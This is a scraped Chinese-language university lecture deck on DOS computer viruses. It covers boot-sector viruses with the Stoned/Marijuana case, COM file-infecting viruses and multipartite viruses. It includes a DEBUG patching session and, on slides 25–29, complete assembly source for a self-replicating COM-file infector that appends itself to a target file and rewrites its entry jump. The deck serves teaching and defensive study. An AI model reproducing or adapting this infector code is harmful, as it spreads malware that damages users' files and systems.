4-DOS病毒分析_第1頁
4-DOS病毒分析_第2頁
4-DOS病毒分析_第3頁
4-DOS病毒分析_第4頁
4-DOS病毒分析_第5頁
已閱讀5頁,還剩28頁未讀, 繼續(xù)免費閱讀

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進行舉報或認(rèn)領(lǐng)

文檔簡介

1,計算機病毒 Computer Virus,傅建明 Fujms; fujms,武漢大學(xué)計算機學(xué)院,2,第四章 DOS病毒分析,4.1引導(dǎo)區(qū)病毒 4.2文件型病毒 4.3混合病毒,3,4.1 引導(dǎo)區(qū)病毒,引導(dǎo)區(qū)病毒是指專門感染磁盤引導(dǎo)扇區(qū)和硬盤主引導(dǎo)扇區(qū)的計算機病毒程序. 引導(dǎo)型病毒是一種在ROM BIOS之后,系統(tǒng)引導(dǎo)時出現(xiàn)的病毒,它先于操作系統(tǒng),依托的環(huán)境是BIOS中斷服務(wù)程序。,4,4.1 引導(dǎo)區(qū)病毒,引導(dǎo)型病毒按其寄生對象的不同又可分為兩類,即MBR(主引導(dǎo)區(qū))病毒、BR(引導(dǎo)區(qū))病毒。 MBR病毒也稱為分區(qū)病毒,將病毒寄生在硬盤分區(qū)主引導(dǎo)程序所占據(jù)的硬盤0面0道1扇區(qū)中。典型的病毒有大麻(Stoned)、2708、INT60病毒等。 BR 病毒是將病毒寄生在硬盤邏輯0扇或軟盤邏輯0扇(即0面0道第1個扇區(qū))。典型的病毒有Brain、小球病毒等。,5,4.1 引導(dǎo)區(qū)病毒,引導(dǎo)型病毒的主要特點為: 1、引導(dǎo)型病毒是在安裝操作系統(tǒng)之前進入內(nèi)存,寄生對象又相對固定,因此該類型病毒基本上不得不采用減少操作系統(tǒng)所掌管的內(nèi)存容量方法來駐留內(nèi)存高端。 2、引導(dǎo)型病毒需要把病毒傳染給軟盤,一般是通過修改INT 13H的中斷向量,而新INT 13H中斷向量段址必定指向內(nèi)存高端的病毒程序。,6,4.1 引導(dǎo)區(qū)病毒,3、引導(dǎo)型病毒感染硬盤時,必定駐留硬盤的主引導(dǎo)扇區(qū)或引導(dǎo)扇區(qū),并且只駐留一次,因此引導(dǎo)型病毒一般都是在軟盤啟動過程中把病毒傳染給硬盤的。 4、引導(dǎo)型病毒的寄生對象相對固定,把當(dāng)前的系統(tǒng)主引導(dǎo)扇區(qū)和引導(dǎo)扇區(qū)與干凈的主引導(dǎo)扇區(qū)和引導(dǎo)扇區(qū)進行比較,如果內(nèi)容不一致,可認(rèn)定系統(tǒng)引導(dǎo)區(qū)異常。,7,8,大麻病毒分析,“大麻”病毒又名“石頭”病毒,英文名稱分別為MarIJUANA和Stone,屬于系統(tǒng)型的惡性病毒。它專門感染軟盤引導(dǎo)扇區(qū)和硬盤主引導(dǎo)扇區(qū),破壞軟盤的文件目錄表和硬盤的文件分配表,從而造成磁盤文件的大量丟失,甚至于導(dǎo)致硬盤無法啟動。如果感染了“大麻”病毒的系統(tǒng)盤啟動系統(tǒng),當(dāng)滿足發(fā)作條件時,往往出現(xiàn)以下提示信息: Your PC is now Stoned! LEGALISE MARIJUANA!,9,大麻病毒分析,大麻病毒很短小,僅1B8H字節(jié)的代碼就完成了駐留內(nèi)存、修改中斷向量、區(qū)別軟硬盤、感染軟盤、感染硬盤、引導(dǎo)原硬盤主引導(dǎo)扇區(qū)、顯示時機判斷、顯示信息以及大麻病毒感染標(biāo)志判斷以防止重復(fù)感染等眾多功能。,10,大麻病毒分析,對于軟盤來說,病毒程序占用磁盤的引導(dǎo)扇區(qū),而將系統(tǒng)原引導(dǎo)扇區(qū)轉(zhuǎn)移到l面0道3扇區(qū),這一物理扇區(qū)對于360KB的軟盤來說,屬于軟盤根目錄區(qū)的最后一個扇區(qū)(邏輯0BH扇區(qū))。 對于硬盤來說,病毒程序侵占了硬盤的主引導(dǎo)扇區(qū),而將原主引導(dǎo)扇區(qū)的內(nèi)容轉(zhuǎn)移到0柱0面7扇區(qū)。 在內(nèi)存中,大麻病毒占用了2KB內(nèi)存,實際只占用了1KB。,11,大麻病毒分析,一個被感染“大麻”病毒的磁盤引導(dǎo)扇區(qū),一般有下列特征: (1)扇區(qū)開始的指令代碼為:“EA0500C0”。 (2)從扇區(qū)的18AH偏移地址開始有字符串:“Your PC is now Stoned!。,12,13,14,大麻病毒分析,實施表現(xiàn)的條件是,當(dāng)從A驅(qū)動器啟動系統(tǒng)時,時鐘計數(shù)是8的整數(shù)倍,則顯示下列提示信息: Your PC is now Stoned! LEGALLISE MARIJUANA!,15,4.2文件型病毒,我們把所有通過操作系統(tǒng)的文件系統(tǒng)進行感染的病毒都稱作文件病毒,所以這是一類數(shù)目非常巨大的病毒。理論上可以制造這樣一個病毒,該病毒可以感染基本上所有操作系統(tǒng)的可執(zhí)行文件。目前已經(jīng)存在這樣的文件病毒,它們可以感染所有標(biāo)準(zhǔn)的DOS可執(zhí)行文件,包括批處理文件、DOS下的可加載驅(qū)動程序(.SYS)文件以及普通的COMEXE可執(zhí)行文件。,16,COM文件型病毒,COM文件中的程序代碼只在一個段內(nèi)運行,文件長度不超過64K字節(jié),其結(jié)構(gòu)比較簡單。由于COM文件與EXE文件在結(jié)構(gòu)上的不同,它們在調(diào)入執(zhí)行時也有很大差別。COM文件在調(diào)入時,DOS將全部可用內(nèi)存分配給用戶程序。四個寄存器DS(DataSegment數(shù)據(jù)段),CS(Code Segment代碼段),SS(Stack Segment堆棧段)和ES (Extra Segment附加段)全部指向程序段前綴(PSP,由DoS建立,是DoS、用戶程序及命令行之間的接口)的段地址。指令指針ip置為0100h,從程序的第一條指令開始執(zhí)行;棧指針SP置為程序段的末尾。,17,COM文件型病毒,18,COM文件型病毒,19,C:debug -u 0CA4:0100 B8371E MOV AX,1E37 ;注意前三個字節(jié)的內(nèi)容 0CA4:0103 BA3008 MOV DX,0830 0CA4:0106 3BC4 CMP AX,SP 0CA4:0108 7369 JNB 0173 0CA4:010A 8BC4 MOV AX,SP 0CA4:010C 2D4403 SUB AX,0344 0CA4:010F 90 NOP 0CA4:0110 25F0FF AND AX,FFF0 0CA4:0113 8BF8 MOV DI,AX 0CA4:0115 B9A200 MOV CX,00A2 0CA4:0118 90 NOP 0CA4:0119 BE7E01 MOV SI,017E 0CA4:011C FC CLD 0CA4:011D F3 REPZ 0CA4:011E A5 MOVSW 0CA4:011F 8BD8 MOV BX,AX,20,-a af1 0CA4:0AF1 mov ah,0 0CA4:0AF3 int 16 ;等待按鍵 0CA4:0AF5 cmp al,1b ;等待ESC鍵 0CA4:0AF7 jnz af1 0CA4:0AF9 mov word ptr 100,37b8 ;恢復(fù)程序開始的三個字節(jié) 0CA4:0AFF mov byte ptr 102,1e 0CA4:0B04 push cs ;進棧CS:100 0CA4:0B05 mov si,100 0CA4:0B08 push si 0CA4:0B09 retf ;RetF回到CS:100,程序開始處 0CA4:0B0A -a 100 0CA4:0100 jmp af1 ;將程序開頭改成跳轉(zhuǎn)到修改的模塊 0CA4:0103 -rcx CX 09F1 :a0a -w /Writing 00A0A bytes,21,COM文件型病毒,文件型病毒為了完成它的感染,首先需要查找目標(biāo)文件,然后對目標(biāo)文件進行讀寫操作。這些操作都需要用到系統(tǒng)文件目錄管理功能調(diào)用(INT 21H),22,COM文件型病毒,1) INT 21H 子功能 3DH 打開文件 2) INT 21H 子功能 3EH 關(guān)閉文件 3) INT 21H 子功能 3FH 讀文件或設(shè)備 4) INT 21H 子功能 40H 寫文件或設(shè)備 5) INT 21H 子功能 42H 移動文件指針 6) INT 21H 子功能 4EH 查找第一個匹配文件 7) INT 21H 子功能 4FH 查找下一個匹配文件 8) INT 21H 子功能 1AH 設(shè)置磁盤傳送緩沖區(qū)(DTA),23,COM文件型病毒-基本原理,內(nèi)存駐留的病毒首先檢查系統(tǒng)可用內(nèi)存,查看內(nèi)存中是否已經(jīng)有病毒代碼存在,如果沒有將病毒代碼裝入內(nèi)存中。非內(nèi)存駐留病毒會在這個時候進行感染,查找當(dāng)前目錄、根目錄或者環(huán)境變量PATH中包含的目錄,發(fā)現(xiàn)可以被感染的可執(zhí)行文件就進行感染。 (2) 執(zhí)行病毒的一些其他功能,比如說破壞功能,顯示信息或者病毒精心制作的動畫等等,對于駐留內(nèi)存的病毒來說,執(zhí)行這些功能的時間可以是開始執(zhí)行的時候,也可以是滿足某個條件的時候,比如說定時或者當(dāng)天的日期是13號恰好又是星期五等等。為了實現(xiàn)這種定時的發(fā)作,病毒往往會修改系統(tǒng)的時鐘中斷,以便在合適的時候激活。,24,COM文件型病毒-基本原理,(3) 完成這些工作之后,將控制權(quán)交回被感染的程序。為了保證原來程序的正確執(zhí)行,寄生病毒在執(zhí)行被感染程序的之前,會把原來的程序還原,伴隨病毒會直接調(diào)用原來的程序,覆蓋病毒和其他一些破壞性感染的病毒會把控制權(quán)交回DOS操作系統(tǒng)。 (4) 對于內(nèi)存駐留病毒來說,駐留時會把一些DOS或者基本輸入輸出系統(tǒng)(BIOS)的中斷指向病毒代碼,比如說INT13H或者INT 21H,這樣系統(tǒng)執(zhí)行正常的文件磁盤操作的時候,就會調(diào)用病毒駐留在內(nèi)存中的代碼,進行進一步的破壞或者感染。,25,CSEG SEGMENT ASSUME CS:CSEG,DS:CSEG,SS:CSEG main PROC NEAR mainstart: CALL vstart ;病毒的代碼開始處 vstart: POP SI ;得到當(dāng)前地址 (經(jīng)典技術(shù)!) MOV BP,SI ;保存當(dāng)前地址 ADD SI,OFFSET yuan4byte-OFFSET vstart ;取得原程序中的前四個字節(jié) MOV DI,100h ;目的地址 MOV AX,DS:SI ;開始復(fù)制 MOV DS:DI,AX INC SI INC SI INC DI ;將yuan4byte處的4字節(jié)復(fù)制到100處 INC DI MOV AX,DS:SI MOV DS:DI,AX,26,MOV SI,BP ;恢復(fù)地址值,將文件的頭4個字節(jié)讀入到y(tǒng)uan4byte處 MOV DX,OFFSET filename-OFFSET vstart ;得到文件名 ADD DX,SI MOV AL,02 MOV AH,3dh ;以讀寫方式打開文件 INT 21h JC error MOV BX,AX ;文件句柄 MOV DX,OFFSET yuan4byte-OFFSET vstart ;讀文件的前四個字節(jié) ADD DX,SI MOV CX,4 MOV AH,3fh INT 21h ;讀4個字節(jié),27,MOV AX,4202h ;從文件尾倒移 XOR CX,CX XOR DX,DX INT 21h ;文件指針移到末尾,此時AX為新的文件指針位置 MOV DI,OFFSET new4byte-OFFSET vstart ;保存要跳的地方 ADD DI,2 ADD DI,SI SUB AX,4 ; MOV DS:DI,AX ;將文件指針位置保存到new4byte + 2處 ADD SI,OFFSET mainstart-OFFSET vstart ;準(zhǔn)備寫入病毒 MOV DX,SI ;將從vstart處開始的代碼寫入文件 MOV vsizes,OFFSET vends-OFFSET mainstart MOV CX,vsizes MOV AH,40h ;寫文件,寫到文件末尾 INT 21h,28,MOV SI,BP ;定位到文件頭 MOV AL,0 XOR CX,CX XOR DX,DX MOV AH,42h INT 21h ;文件指針移到開頭 MOV AH,40h ;將新的文件頭寫入 MOV CX,4 MOV DX,OFFSET new4byte-OFFSET vstart ADD DX,SI INT 21h ;將new4byte處4字節(jié)內(nèi)容寫入文件開始處 ;即將文件開頭設(shè)置一條jmp指令,跳到病毒開始處 MOV AH,3eh ;關(guān)閉文件 INT 21h,29,error: MOV AX,100h PUSH AX RET main ENDP yuan4byte: RET DB 3 DUP (?) vsizes DW 0 new4byte DB M,0e9h,0,0 ;dec bp, jmp xxxx filename DB “,0 ;parasited file name vends: start: MOV AX,CSEG MOV DS,AX MOV SS,AX CALL main MOV AX,4c00h INT 21h CSEG ENDS END start,30,程序說明,從兩個視角讀程序: 1、病毒母體程序:具備完全的功能 母體自身的執(zhí)行,尋找感染,自身退出。 2、攜帶病毒的程序:基本功能 尋找感染,31,程序說明,1、病毒母體程序: 不存在恢復(fù)100h的4個字節(jié),打開,讀取其前4個字節(jié)保存到y(tǒng)uan4byte,計算跳轉(zhuǎn)指令保存到new4byte,復(fù)制自身尾端,用new4byte 的內(nèi)容改寫的首部4個字節(jié)。 2、攜帶病毒的程序:基本功能 從yuan4byte處恢復(fù)100h的4個字節(jié),打開,讀取其前4個字節(jié)保存到y(tǒng)uan4byte,計算跳轉(zhuǎn)指令保存到new4byte,復(fù)制自身尾端,用new4byte 的內(nèi)容改寫的首部4個字節(jié)。,32,4.3混合病毒,混合病毒是指那些即可以對引導(dǎo)區(qū)進行感染也可以對文件進行感染的病毒。但是這類病毒絕對不是引導(dǎo)區(qū)病毒和文件型病毒的簡單相加。 引導(dǎo)區(qū)病毒是在引導(dǎo)DOS系統(tǒng)之前,它根本就無法用到文件系統(tǒng)中斷調(diào)用21H,

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論